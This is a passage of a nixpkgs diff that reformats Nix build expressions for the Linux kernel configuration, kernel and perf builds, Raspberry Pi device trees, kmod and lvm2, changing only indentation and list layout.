-        # See: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?h=v4.8&id=0d9e26329b0c9263d4d9e0422d80a0e73268c52f
-        SCHED_STACK_END_CHECK = yes;
+      # Enable stack smashing protections in schedule()
+      # See: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?h=v4.8&id=0d9e26329b0c9263d4d9e0422d80a0e73268c52f
+      SCHED_STACK_END_CHECK = yes;
 
-        # Enable separate slab buckets for user controlled allocations
-        # See: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=67f2df3b82d091ed095d0e47e1f3a9d3e18e4e41
-        SLAB_BUCKETS = whenAtLeast "6.11" yes;
-      }
-      // lib.optionalAttrs stdenv.hostPlatform.isx86_64 {
-        # Enable Intel SGX
-        X86_SGX = whenAtLeast "5.11" yes;
-        # Allow KVM guests to load SGX enclaves
-        X86_SGX_KVM = whenAtLeast "5.13" yes;
+      # Enable separate slab buckets for user controlled allocations
+      # See: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=67f2df3b82d091ed095d0e47e1f3a9d3e18e4e41
+      SLAB_BUCKETS = whenAtLeast "6.11" yes;
+    }
+    // lib.optionalAttrs stdenv.hostPlatform.isx86_64 {
+      # Enable Intel SGX
+      X86_SGX = whenAtLeast "5.11" yes;
+      # Allow KVM guests to load SGX enclaves
+      X86_SGX_KVM = whenAtLeast "5.13" yes;
 
-        # AMD Cryptographic Coprocessor (CCP)
-        CRYPTO_DEV_CCP = yes;
-        # AMD SME
-        AMD_MEM_ENCRYPT = yes;
-        # AMD SEV and AMD SEV-SE
-        KVM_AMD_SEV = yes;
-        # AMD SEV-SNP
-        SEV_GUEST = whenAtLeast "5.19" module;
-        # Shadow stacks
-        X86_USER_SHADOW_STACK = whenAtLeast "6.6" yes;
+      # AMD Cryptographic Coprocessor (CCP)
+      CRYPTO_DEV_CCP = yes;
+      # AMD SME
+      AMD_MEM_ENCRYPT = yes;
+      # AMD SEV and AMD SEV-SE
+      KVM_AMD_SEV = yes;
+      # AMD SEV-SNP
+      SEV_GUEST = whenAtLeast "5.19" module;
+      # Shadow stacks
+      X86_USER_SHADOW_STACK = whenAtLeast "6.6" yes;
 
-        # Enable support for Intel Trust Domain Extensions (TDX)
-        INTEL_TDX_GUEST = whenAtLeast "5.19" yes;
-        TDX_GUEST_DRIVER = whenAtLeast "6.2" module;
+      # Enable support for Intel Trust Domain Extensions (TDX)
+      INTEL_TDX_GUEST = whenAtLeast "5.19" yes;
+      TDX_GUEST_DRIVER = whenAtLeast "6.2" module;
 
-        # Mitigate straight line speculation at the cost of some file size
-        SLS = whenBetween "5.17" "6.9" yes;
-        MITIGATION_SLS = whenAtLeast "6.9" yes;
+      # Mitigate straight line speculation at the cost of some file size
+      SLS = whenBetween "5.17" "6.9" yes;
+      MITIGATION_SLS = whenAtLeast "6.9" yes;
 
-        DEFAULT_MMAP_MIN_ADDR = freeform "65536";
-      }
-      // lib.optionalAttrs stdenv.hostPlatform.isAarch64 {
-        DEFAULT_MMAP_MIN_ADDR = freeform "32768";
-      };
+      DEFAULT_MMAP_MIN_ADDR = freeform "65536";
+    }
+    // lib.optionalAttrs stdenv.hostPlatform.isAarch64 {
+      DEFAULT_MMAP_MIN_ADDR = freeform "32768";
+    };
 
     microcode = {
       MICROCODE = lib.mkIf stdenv.hostPlatform.isx86 yes;
@@ -1023,25 +1018,24 @@ let
     };
 
     # Disable various self-test modules that have no use in a production system
-    tests =
-      {
-        # This menu disables all/most of them on >= 4.16
-        RUNTIME_TESTING_MENU = option no;
-      }
-      // {
-        CRC32_SELFTEST = option no;
-        CRYPTO_TEST = option no;
-        EFI_TEST = option no;
-        GLOB_SELFTEST = option no;
-        LOCK_TORTURE_TEST = option no;
-        MTD_TESTS = option no;
-        NOTIFIER_ERROR_INJECTION = option no;
-        RCU_PERF_TEST = whenOlder "5.9" no;
-        RCU_SCALE_TEST = whenAtLeast "5.10" no;
-        TEST_ASYNC_DRIVER_PROBE = option no;
-        WW_MUTEX_SELFTEST = option no;
-        XZ_DEC_TEST = option no;
-      };
+    tests = {
+      # This menu disables all/most of them on >= 4.16
+      RUNTIME_TESTING_MENU = option no;
+    }
+    // {
+      CRC32_SELFTEST = option no;
+      CRYPTO_TEST = option no;
+      EFI_TEST = option no;
+      GLOB_SELFTEST = option no;
+      LOCK_TORTURE_TEST = option no;
+      MTD_TESTS = option no;
+      NOTIFIER_ERROR_INJECTION = option no;
+      RCU_PERF_TEST = whenOlder "5.9" no;
+      RCU_SCALE_TEST = whenAtLeast "5.10" no;
+      TEST_ASYNC_DRIVER_PROBE = option no;
+      WW_MUTEX_SELFTEST = option no;
+      XZ_DEC_TEST = option no;
+    };
 
     criu = {
       # Unconditionally enabled, because it is required for CRIU and
diff --git a/pkgs/os-specific/linux/kernel/generic.nix b/pkgs/os-specific/linux/kernel/generic.nix
index 9248bea73126..47ac444c8c75 100644
--- a/pkgs/os-specific/linux/kernel/generic.nix
+++ b/pkgs/os-specific/linux/kernel/generic.nix
@@ -177,20 +177,19 @@ let
         passAsFile = [ "kernelConfig" ];
 
         depsBuildBuild = [ buildPackages.stdenv.cc ];
-        nativeBuildInputs =
-          [
-            perl
-            gmp
-            libmpc
-            mpfr
-            bison
-            flex
-          ]
-          ++ lib.optional (lib.versionAtLeast version "5.2") pahole
-          ++ lib.optionals withRust [
-            rust-bindgen
-            rustc
-          ];
+        nativeBuildInputs = [
+          perl
+          gmp
+          libmpc
+          mpfr
+          bison
+          flex
+        ]
+        ++ lib.optional (lib.versionAtLeast version "5.2") pahole
+        ++ lib.optionals withRust [
+          rust-bindgen
+          rustc
+        ];
 
         RUST_LIB_SRC = lib.optionalString withRust rustPlatform.rustLibSrc;
 
@@ -205,13 +204,11 @@ let
           ) stdenv.hostPlatform.linux-kernel.makeFlags
           ++ extraMakeFlags;
 
-        postPatch =
-          kernel.postPatch
-          + ''
-            # Patch kconfig to print "###" after every question so that
-            # generate-config.pl from the generic builder can answer them.
-            sed -e '/fflush(stdout);/i\printf("###");' -i scripts/kconfig/conf.c
-          '';
+        postPatch = kernel.postPatch + ''
+          # Patch kconfig to print "###" after every question so that
+          # generate-config.pl from the generic builder can answer them.
+          sed -e '/fflush(stdout);/i\printf("###");' -i scripts/kconfig/conf.c
+        '';
 
         preUnpack = kernel.preUnpack or "";
 
@@ -247,23 +244,22 @@ let
           # The result is a set of two attributes
           moduleStructuredConfig =
             (lib.evalModules {
-              modules =
-                [
-                  module
-                ]
-                ++ lib.optionals enableCommonConfig [
-                  {
-                    settings = commonStructuredConfig;
-                    _file = "pkgs/os-specific/linux/kernel/common-config.nix";
-                  }
-                ]
-                ++ [
-                  {
-                    settings = structuredExtraConfig;
-                    _file = "structuredExtraConfig";
-                  }
-                ]
-                ++ structuredConfigFromPatches;
+              modules = [
+                module
+              ]
+              ++ lib.optionals enableCommonConfig [
+                {
+                  settings = commonStructuredConfig;
+                  _file = "pkgs/os-specific/linux/kernel/common-config.nix";
+                }
+              ]
+              ++ [
+                {
+                  settings = structuredExtraConfig;
+                  _file = "structuredExtraConfig";
+                }
+              ]
+              ++ structuredConfigFromPatches;
             }).config;
 
           structuredConfig = moduleStructuredConfig.settings;
diff --git a/pkgs/os-specific/linux/kernel/linux-rpi.nix b/pkgs/os-specific/linux/kernel/linux-rpi.nix
index fb229afe8314..37f695c53785 100644
--- a/pkgs/os-specific/linux/kernel/linux-rpi.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rpi.nix
@@ -41,7 +41,8 @@ lib.overrideDerivation
 
       features = {
         efiBootStub = false;
-      } // (args.features or { });
+      }
+      // (args.features or { });
 
       extraMeta =
         if (rpiVersion < 3) then
@@ -67,41 +68,40 @@ lib.overrideDerivation
 
     # Make copies of the DTBs named after the upstream names so that U-Boot finds them.
     # This is ugly as heck, but I don't know a better solution so far.
-    postFixup =
-      ''
-        dtbDir=${if stdenv.hostPlatform.isAarch64 then "$out/dtbs/broadcom" else "$out/dtbs"}
-        rm $dtbDir/bcm283*.dtb
-        copyDTB() {
-          cp -v "$dtbDir/$1" "$dtbDir/$2"
-        }
-      ''
-      + lib.optionalString (lib.elem stdenv.hostPlatform.system [ "armv6l-linux" ]) ''
-        copyDTB bcm2708-rpi-zero-w.dtb bcm2835-rpi-zero.dtb
-        copyDTB bcm2708-rpi-zero-w.dtb bcm2835-rpi-zero-w.dtb
-        copyDTB bcm2708-rpi-b.dtb bcm2835-rpi-a.dtb
-        copyDTB bcm2708-rpi-b.dtb bcm2835-rpi-b.dtb
-        copyDTB bcm2708-rpi-b.dtb bcm2835-rpi-b-rev2.dtb
-        copyDTB bcm2708-rpi-b-plus.dtb bcm2835-rpi-a-plus.dtb
-        copyDTB bcm2708-rpi-b-plus.dtb bcm2835-rpi-b-plus.dtb
-        copyDTB bcm2708-rpi-b-plus.dtb bcm2835-rpi-zero.dtb
-        copyDTB bcm2708-rpi-cm.dtb bcm2835-rpi-cm.dtb
-      ''
-      + lib.optionalString (lib.elem stdenv.hostPlatform.system [ "armv7l-linux" ]) ''
-        copyDTB bcm2709-rpi-2-b.dtb bcm2836-rpi-2-b.dtb
-      ''
-      +
-        lib.optionalString
-          (lib.elem stdenv.hostPlatform.system [
-            "armv7l-linux"
-            "aarch64-linux"
-          ])
-          ''
-            copyDTB bcm2710-rpi-zero-2.dtb bcm2837-rpi-zero-2.dtb
-            copyDTB bcm2710-rpi-zero-2-w.dtb bcm2837-rpi-zero-2-w.dtb
-            copyDTB bcm2710-rpi-3-b.dtb bcm2837-rpi-3-b.dtb
-            copyDTB bcm2710-rpi-3-b-plus.dtb bcm2837-rpi-3-a-plus.dtb
-            copyDTB bcm2710-rpi-3-b-plus.dtb bcm2837-rpi-3-b-plus.dtb
-            copyDTB bcm2710-rpi-cm3.dtb bcm2837-rpi-cm3.dtb
-            copyDTB bcm2711-rpi-4-b.dtb bcm2838-rpi-4-b.dtb
-          '';
+    postFixup = ''
+      dtbDir=${if stdenv.hostPlatform.isAarch64 then "$out/dtbs/broadcom" else "$out/dtbs"}
+      rm $dtbDir/bcm283*.dtb
+      copyDTB() {
+        cp -v "$dtbDir/$1" "$dtbDir/$2"
+      }
+    ''
+    + lib.optionalString (lib.elem stdenv.hostPlatform.system [ "armv6l-linux" ]) ''
+      copyDTB bcm2708-rpi-zero-w.dtb bcm2835-rpi-zero.dtb
+      copyDTB bcm2708-rpi-zero-w.dtb bcm2835-rpi-zero-w.dtb
+      copyDTB bcm2708-rpi-b.dtb bcm2835-rpi-a.dtb
+      copyDTB bcm2708-rpi-b.dtb bcm2835-rpi-b.dtb
+      copyDTB bcm2708-rpi-b.dtb bcm2835-rpi-b-rev2.dtb
+      copyDTB bcm2708-rpi-b-plus.dtb bcm2835-rpi-a-plus.dtb
+      copyDTB bcm2708-rpi-b-plus.dtb bcm2835-rpi-b-plus.dtb
+      copyDTB bcm2708-rpi-b-plus.dtb bcm2835-rpi-zero.dtb
+      copyDTB bcm2708-rpi-cm.dtb bcm2835-rpi-cm.dtb
+    ''
+    + lib.optionalString (lib.elem stdenv.hostPlatform.system [ "armv7l-linux" ]) ''
+      copyDTB bcm2709-rpi-2-b.dtb bcm2836-rpi-2-b.dtb
+    ''
+    +
+      lib.optionalString
+        (lib.elem stdenv.hostPlatform.system [
+          "armv7l-linux"
+          "aarch64-linux"
+        ])
+        ''
+          copyDTB bcm2710-rpi-zero-2.dtb bcm2837-rpi-zero-2.dtb
+          copyDTB bcm2710-rpi-zero-2-w.dtb bcm2837-rpi-zero-2-w.dtb
+          copyDTB bcm2710-rpi-3-b.dtb bcm2837-rpi-3-b.dtb
+          copyDTB bcm2710-rpi-3-b-plus.dtb bcm2837-rpi-3-a-plus.dtb
+          copyDTB bcm2710-rpi-3-b-plus.dtb bcm2837-rpi-3-b-plus.dtb
+          copyDTB bcm2710-rpi-cm3.dtb bcm2837-rpi-cm3.dtb
+          copyDTB bcm2711-rpi-4-b.dtb bcm2838-rpi-4-b.dtb
+        '';
   })
diff --git a/pkgs/os-specific/linux/kernel/manual-config.nix b/pkgs/os-specific/linux/kernel/manual-config.nix
index 77eb4965bda1..2f1abf1f99c9 100644
--- a/pkgs/os-specific/linux/kernel/manual-config.nix
+++ b/pkgs/os-specific/linux/kernel/manual-config.nix
@@ -161,19 +161,18 @@ lib.makeOverridable (
         buildDTBs = kernelConf.DTB or false;
 
         # Dependencies that are required to build kernel modules
-        moduleBuildDependencies =
-          [
-            pahole
-            perl
-            elfutils
-            # module makefiles often run uname commands to find out the kernel version
-            (buildPackages.deterministic-uname.override { inherit modDirVersion; })
-          ]
-          ++ optional (lib.versionAtLeast version "5.13") zstd
-          ++ optionals withRust [
-            rustc
-            rust-bindgen
-          ];
+        moduleBuildDependencies = [
+          pahole
+          perl
+          elfutils
+          # module makefiles often run uname commands to find out the kernel version
+          (buildPackages.deterministic-uname.override { inherit modDirVersion; })
+        ]
+        ++ optional (lib.versionAtLeast version "5.13") zstd
+        ++ optionals withRust [
+          rustc
+          rust-bindgen
+        ];
 
       in
       (optionalAttrs isModular {
@@ -208,34 +207,33 @@ lib.makeOverridable (
         inherit src;
 
         depsBuildBuild = [ buildPackages.stdenv.cc ];
-        nativeBuildInputs =
-          [
-            bison
-            flex
-            perl
-            bc
-            nettools
-            openssl
-            rsync
-            gmp
-            libmpc
-            mpfr
-            elfutils
-            zstd
-            python3Minimal
-            kmod
-            hexdump
-          ]
-          ++ optional needsUbootTools ubootTools
-          ++ optionals (lib.versionAtLeast version "5.2") [
-            cpio
-            pahole
-            zlib
-          ]
-          ++ optionals withRust [
-            rustc
-            rust-bindgen
-          ];
+        nativeBuildInputs = [
+          bison
+          flex
+          perl
+          bc
+          nettools
+          openssl
+          rsync
+          gmp
+          libmpc
+          mpfr
+          elfutils
+          zstd
+          python3Minimal
+          kmod
+          hexdump
+        ]
+        ++ optional needsUbootTools ubootTools
+        ++ optionals (lib.versionAtLeast version "5.2") [
+          cpio
+          pahole
+          zlib
+        ]
+        ++ optionals withRust [
+          rustc
+          rust-bindgen
+        ];
 
         RUST_LIB_SRC = lib.optionalString withRust rustPlatform.rustLibSrc;
 
@@ -325,28 +323,26 @@ lib.makeOverridable (
           cd $buildRoot
         '';
 
-        buildFlags =
-          [
-            "KBUILD_BUILD_VERSION=1-NixOS"
-            kernelConf.target
-            "vmlinux" # for "perf" and things like that
-          ]
-          ++ optional isModular "modules"
-          ++ optionals buildDTBs [
-            "dtbs"
-            "DTC_FLAGS=-@"
-          ]
-          ++ extraMakeFlags;
+        buildFlags = [
+          "KBUILD_BUILD_VERSION=1-NixOS"
+          kernelConf.target
+          "vmlinux" # for "perf" and things like that
+        ]
+        ++ optional isModular "modules"
+        ++ optionals buildDTBs [
+          "dtbs"
+          "DTC_FLAGS=-@"
+        ]
+        ++ extraMakeFlags;
 
-        installFlags =
-          [
-            "INSTALL_PATH=$(out)"
-          ]
-          ++ (optional isModular "INSTALL_MOD_PATH=$(out)")
-          ++ optionals buildDTBs [
-            "dtbs_install"
-            "INSTALL_DTBS_PATH=$(out)/dtbs"
-          ];
+        installFlags = [
+          "INSTALL_PATH=$(out)"
+        ]
+        ++ (optional isModular "INSTALL_MOD_PATH=$(out)")
+        ++ optionals buildDTBs [
+          "dtbs_install"
+          "INSTALL_DTBS_PATH=$(out)/dtbs"
+        ];
 
         preInstall =
           let
@@ -533,24 +529,24 @@ lib.makeOverridable (
             ]
             ++ lib.optional (lib.versionOlder version "5.19") "loongarch64-linux";
           timeout = 14400; # 4 hours
-        } // extraMeta;
+        }
+        // extraMeta;
       };
 
     # Absolute paths for compilers avoid any PATH-clobbering issues.
-    commonMakeFlags =
-      [
-        "ARCH=${stdenv.hostPlatform.linuxArch}"
-        "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
-      ]
-      ++ lib.optionals (stdenv.isx86_64 && stdenv.cc.bintools.isLLVM) [
-        # The wrapper for ld.lld breaks linking the kernel. We use the
-        # unwrapped linker as workaround. See:
-        #
-        # https://github.com/NixOS/nixpkgs/issues/321667
-        "LD=${stdenv.cc.bintools.bintools}/bin/${stdenv.cc.targetPrefix}ld"
-      ]
-      ++ (stdenv.hostPlatform.linux-kernel.makeFlags or [ ])
-      ++ extraMakeFlags;
+    commonMakeFlags = [
+      "ARCH=${stdenv.hostPlatform.linuxArch}"
+      "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
+    ]
+    ++ lib.optionals (stdenv.isx86_64 && stdenv.cc.bintools.isLLVM) [
+      # The wrapper for ld.lld breaks linking the kernel. We use the
+      # unwrapped linker as workaround. See:
+      #
+      # https://github.com/NixOS/nixpkgs/issues/321667
+      "LD=${stdenv.cc.bintools.bintools}/bin/${stdenv.cc.targetPrefix}ld"
+    ]
+    ++ (stdenv.hostPlatform.linux-kernel.makeFlags or [ ])
+    ++ extraMakeFlags;
   in
 
   stdenv.mkDerivation (
@@ -572,7 +568,8 @@ lib.makeOverridable (
 
         makeFlags = [
           "O=$(buildRoot)"
-        ] ++ commonMakeFlags;
+        ]
+        ++ commonMakeFlags;
 
         passthru = { inherit commonMakeFlags; };
 
diff --git a/pkgs/os-specific/linux/kernel/perf/default.nix b/pkgs/os-specific/linux/kernel/perf/default.nix
index 270cb1dbe49d..d0caa28e1432 100644
--- a/pkgs/os-specific/linux/kernel/perf/default.nix
+++ b/pkgs/os-specific/linux/kernel/perf/default.nix
@@ -72,44 +72,42 @@ stdenv.mkDerivation {
         ./fix-dmesg-path.diff
       ];
 
-  postPatch =
-    ''
-      # Linux scripts
-      patchShebangs scripts
-      patchShebangs tools/perf/check-headers.sh
-    ''
-    + lib.optionalString (lib.versionAtLeast kernel.version "6.3") ''
-      # perf-specific scripts
-      patchShebangs tools/perf/pmu-events
-    ''
-    + ''
-      cd tools/perf
+  postPatch = ''
+    # Linux scripts
+    patchShebangs scripts
+    patchShebangs tools/perf/check-headers.sh
+  ''
+  + lib.optionalString (lib.versionAtLeast kernel.version "6.3") ''
+    # perf-specific scripts
+    patchShebangs tools/perf/pmu-events
+  ''
+  + ''
+    cd tools/perf
 
-      for x in util/build-id.c util/dso.c; do
-        substituteInPlace $x --replace /usr/lib/debug /run/current-system/sw/lib/debug
-      done
+    for x in util/build-id.c util/dso.c; do
+      substituteInPlace $x --replace /usr/lib/debug /run/current-system/sw/lib/debug
+    done
 
-    ''
-    + lib.optionalString (lib.versionAtLeast kernel.version "5.8") ''
-      substituteInPlace scripts/python/flamegraph.py \
-        --replace "/usr/share/d3-flame-graph/d3-flamegraph-base.html" \
-        "${d3-flame-graph-templates}/share/d3-flame-graph/d3-flamegraph-base.html"
+  ''
+  + lib.optionalString (lib.versionAtLeast kernel.version "5.8") ''
+    substituteInPlace scripts/python/flamegraph.py \
+      --replace "/usr/share/d3-flame-graph/d3-flamegraph-base.html" \
+      "${d3-flame-graph-templates}/share/d3-flame-graph/d3-flamegraph-base.html"
 
-    ''
-    + lib.optionalString (lib.versionAtLeast kernel.version "6.0") ''
-      patchShebangs pmu-events/jevents.py
-    '';
+  ''
+  + lib.optionalString (lib.versionAtLeast kernel.version "6.0") ''
+    patchShebangs pmu-events/jevents.py
+  '';
 
-  makeFlags =
-    [
-      "prefix=$(out)"
-      "WERROR=0"
-      "ASCIIDOC8=1"
-    ]
-    ++ kernelModuleMakeFlags
-    ++ lib.optional (!withGtk) "NO_GTK2=1"
-    ++ lib.optional (!withZstd) "NO_LIBZSTD=1"
-    ++ lib.optional (!withLibcap) "NO_LIBCAP=1";
+  makeFlags = [
+    "prefix=$(out)"
+    "WERROR=0"
+    "ASCIIDOC8=1"
+  ]
+  ++ kernelModuleMakeFlags
+  ++ lib.optional (!withGtk) "NO_GTK2=1"
+  ++ lib.optional (!withZstd) "NO_LIBZSTD=1"
+  ++ lib.optional (!withLibcap) "NO_LIBCAP=1";
 
   hardeningDisable = [ "format" ];
 
@@ -129,46 +127,45 @@ stdenv.mkDerivation {
     python3
   ];
 
-  buildInputs =
-    [
-      elfutils
-      newt
-      slang
-      libtraceevent
-      libunwind
-      zlib
-      openssl
-      numactl
-      python3
-      perl
-      babeltrace
-    ]
-    ++ (
-      if (lib.versionAtLeast kernel.version "5.19") then
-        [
-          libbfd
-          libopcodes
-        ]
-      else
-        [
-          libbfd_2_38
-          libopcodes_2_38
-        ]
-    )
-    ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform systemtap) systemtap.stapBuild
-    ++ lib.optional withGtk gtk2
-    ++ lib.optional withZstd zstd
-    ++ lib.optional withLibcap libcap
-    ++ lib.optional (lib.versionAtLeast kernel.version "5.8") libpfm
-    ++ lib.optional (lib.versionAtLeast kernel.version "6.0") python3.pkgs.setuptools
-    # Python 3.12 no longer includes distutils, not needed for 6.0 and newer.
-    ++
-      lib.optional
-        (!(lib.versionAtLeast kernel.version "6.0") && lib.versionAtLeast python3.version "3.12")
-        [
-          python3.pkgs.distutils
-          python3.pkgs.packaging
-        ];
+  buildInputs = [
+    elfutils
+    newt
+    slang
+    libtraceevent
+    libunwind
+    zlib
+    openssl
+    numactl
+    python3
+    perl
+    babeltrace
+  ]
+  ++ (
+    if (lib.versionAtLeast kernel.version "5.19") then
+      [
+        libbfd
+        libopcodes
+      ]
+    else
+      [
+        libbfd_2_38
+        libopcodes_2_38
+      ]
+  )
+  ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform systemtap) systemtap.stapBuild
+  ++ lib.optional withGtk gtk2
+  ++ lib.optional withZstd zstd
+  ++ lib.optional withLibcap libcap
+  ++ lib.optional (lib.versionAtLeast kernel.version "5.8") libpfm
+  ++ lib.optional (lib.versionAtLeast kernel.version "6.0") python3.pkgs.setuptools
+  # Python 3.12 no longer includes distutils, not needed for 6.0 and newer.
+  ++
+    lib.optional
+      (!(lib.versionAtLeast kernel.version "6.0") && lib.versionAtLeast python3.version "3.12")
+      [
+        python3.pkgs.distutils
+        python3.pkgs.packaging
+      ];
 
   env.NIX_CFLAGS_COMPILE = toString [
     "-Wno-error=cpp"
diff --git a/pkgs/os-specific/linux/kmod/default.nix b/pkgs/os-specific/linux/kmod/default.nix
index 6a73b3416db6..5cc3d51987ec 100644
--- a/pkgs/os-specific/linux/kmod/default.nix
+++ b/pkgs/os-specific/linux/kmod/default.nix
@@ -47,31 +47,30 @@ stdenv.mkDerivation rec {
     "out"
     "dev"
     "lib"
-  ] ++ lib.optional withDevdoc "devdoc";
+  ]
+  ++ lib.optional withDevdoc "devdoc";
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      autoconf
-      automake
-      docbook_xsl
-      libtool
-      libxslt
-      pkg-config
+  nativeBuildInputs = [
+    autoconf
+    automake
+    docbook_xsl
+    libtool
+    libxslt
+    pkg-config
 
-      docbook_xml_dtd_42 # for the man pages
-    ]
-    ++ lib.optionals withDevdoc [
-      docbook_xml_dtd_43
-      gtk-doc
-    ];
-  buildInputs =
-    [
-      xz
-      zstd
-    ]
-    # gtk-doc is looked for with pkg-config
-    ++ lib.optionals withDevdoc [ gtk-doc ];
+    docbook_xml_dtd_42 # for the man pages
+  ]
+  ++ lib.optionals withDevdoc [
+    docbook_xml_dtd_43
+    gtk-doc
+  ];
+  buildInputs = [
+    xz
+    zstd
+  ]
+  # gtk-doc is looked for with pkg-config
+  ++ lib.optionals withDevdoc [ gtk-doc ];
 
   preConfigure = ''
     ./autogen.sh
@@ -83,7 +82,8 @@ stdenv.mkDerivation rec {
     "--with-zstd"
     "--with-modulesdirs=${modulesDirs}"
     (lib.enableFeature withDevdoc "gtk-doc")
-  ] ++ lib.optional withStatic "--enable-static";
+  ]
+  ++ lib.optional withStatic "--enable-static";
 
   patches = [
     ./module-dir.patch
@@ -92,7 +92,8 @@ stdenv.mkDerivation rec {
       url = "https://git.kernel.org/pub/scm/utils/kernel/kmod/kmod.git/patch/?id=11eb9bc67c319900ab00523997323a97d2d08ad2";
       hash = "sha256-CYG615elMWces6QGQRg2H/NL7W4XsG9Zvz5H+xsdFFo=";
     })
-  ] ++ lib.optional withStatic ./enable-static.patch;
+  ]
+  ++ lib.optional withStatic ./enable-static.patch;
 
   postInstall = ''
     for prog in rmmod insmod lsmod modinfo modprobe depmod; do
diff --git a/pkgs/os-specific/linux/lvm2/common.nix b/pkgs/os-specific/linux/lvm2/common.nix
index 9da06cc09236..157e9388a290 100644
--- a/pkgs/os-specific/linux/lvm2/common.nix
+++ b/pkgs/os-specific/linux/lvm2/common.nix
@@ -47,56 +47,54 @@ stdenv.mkDerivation rec {
   };
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      libaio
-    ]
-    ++ lib.optionals udevSupport [
-      udev
-    ]
-    ++ lib.optionals (!onlyLib) [
-      libuuid
-    ]
-    ++ lib.optionals enableVDO [
-      vdo
-    ];
+  buildInputs = [
+    libaio
+  ]
+  ++ lib.optionals udevSupport [
+    udev
+  ]
+  ++ lib.optionals (!onlyLib) [
+    libuuid
+  ]
+  ++ lib.optionals enableVDO [
+    vdo
+  ];
 
-  configureFlags =
-    [
-      "--disable-readline"
-      "--enable-pkgconfig"
-      "--with-default-locking-dir=/run/lock/lvm"
-      "--with-default-run-dir=/run/lvm"
-      "--with-systemdsystemunitdir=${placeholder "out"}/lib/systemd/system"
-      "--with-systemd-run=/run/current-system/systemd/bin/systemd-run"
-      "--with-default-profile-subdir=profile.d"
-    ]
-    ++ lib.optionals (!enableCmdlib && !onlyLib) [
-      "--bindir=${placeholder "bin"}/bin"
-      "--sbindir=${placeholder "bin"}/bin"
-      "--libdir=${placeholder "lib"}/lib"
-      "--with-libexecdir=${placeholder "lib"}/libexec"
-    ]
-    ++ lib.optional enableCmdlib "--enable-cmdlib"
-    ++ lib.optionals enableDmeventd [
-      "--enable-dmeventd"
-      "--with-dmeventd-pidfile=/run/dmeventd/pid"
-      "--with-default-dm-run-dir=/run/dmeventd"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "ac_cv_func_malloc_0_nonnull=yes"
-      "ac_cv_func_realloc_0_nonnull=yes"
-    ]
-    ++ lib.optionals udevSupport [
-      "--enable-udev_rules"
-      "--enable-udev_sync"
-    ]
-    ++ lib.optionals enableVDO [
-      "--enable-vdo"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isStatic [
-      "--enable-static_link"
-    ];
+  configureFlags = [
+    "--disable-readline"
+    "--enable-pkgconfig"
+    "--with-default-locking-dir=/run/lock/lvm"
+    "--with-default-run-dir=/run/lvm"
+    "--with-systemdsystemunitdir=${placeholder "out"}/lib/systemd/system"
+    "--with-systemd-run=/run/current-system/systemd/bin/systemd-run"
+    "--with-default-profile-subdir=profile.d"
+  ]
+  ++ lib.optionals (!enableCmdlib && !onlyLib) [
+    "--bindir=${placeholder "bin"}/bin"
+    "--sbindir=${placeholder "bin"}/bin"
+    "--libdir=${placeholder "lib"}/lib"
+    "--with-libexecdir=${placeholder "lib"}/libexec"
+  ]
+  ++ lib.optional enableCmdlib "--enable-cmdlib"
+  ++ lib.optionals enableDmeventd [
+    "--enable-dmeventd"
+    "--with-dmeventd-pidfile=/run/dmeventd/pid"
+    "--with-default-dm-run-dir=/run/dmeventd"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "ac_cv_func_malloc_0_nonnull=yes"
+    "ac_cv_func_realloc_0_nonnull=yes"
+  ]
+  ++ lib.optionals udevSupport [
+    "--enable-udev_rules"
+    "--enable-udev_sync"
+  ]
+  ++ lib.optionals enableVDO [
+    "--enable-vdo"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [
+    "--enable-static_link"
+  ];
 
   preConfigure = ''
     sed -i /DEFAULT_SYS_DIR/d Makefile.in
@@ -149,13 +147,14 @@ stdenv.mkDerivation rec {
   ];
 
   # Install systemd stuff.
-  installTargets =
-    [ "install" ]
-    ++ lib.optionals udevSupport [
-      "install_systemd_generators"
-      "install_systemd_units"
-      "install_tmpfiles_configuration"
-    ];
+  installTargets = [
+    "install"
+  ]
+  ++ lib.optionals udevSupport [
+    "install_systemd_generators"
+    "install_systemd_units"
+    "install_tmpfiles_configuration"
+  ];
 
   installPhase = lib.optionalString onlyLib ''
     make -C libdm install_${if stdenv.hostPlatform.isStatic then "static" else "dynamic"}
@@ -164,18 +163,17 @@ stdenv.mkDerivation rec {
   '';
 
   # only split bin and lib out from out if cmdlib isn't enabled
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals (!onlyLib) [
-      "dev"
-      "man"
-    ]
-    ++ lib.optionals (!onlyLib && !enableCmdlib) [
-      "bin"
-      "lib"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals (!onlyLib) [
+    "dev"
+    "man"
+  ]
+  ++ lib.optionals (!onlyLib && !enableCmdlib) [
+    "bin"
+    "lib"
+  ];
 
   postInstall = lib.optionalString (enableCmdlib != true) ''
     moveToOutput lib/libdevmapper.so $lib
diff --git a/pkgs/os-specific/linux/minimal-bootstrap/gnumake/default.nix b/pkgs/os-specific/linux/minimal-bootstrap/gnumake/default.nix
index 4307dadc3298..71da482689d6 100644
--- a/pkgs/os-specific/linux/minimal-bootstrap/gnumake/default.nix
+++ b/pkgs/os-specific/linux/minimal-bootstrap/gnumake/default.nix
@@ -37,7 +37,8 @@ let
     "-DNO_OUTPUT_SYNC=1"
     # mes-libc doesn't define O_TMPFILE
     "-DO_TMPFILE=020000000"
-  ] ++ config;
+  ]
+  ++ config;
 
   /*
     Maintenance notes:
diff --git a/pkgs/os-specific/linux/nftables/default.nix b/pkgs/os-specific/linux/nftables/default.nix
index f0f211755af0..0f9a175711f2 100644
--- a/pkgs/os-specific/linux/nftables/default.nix
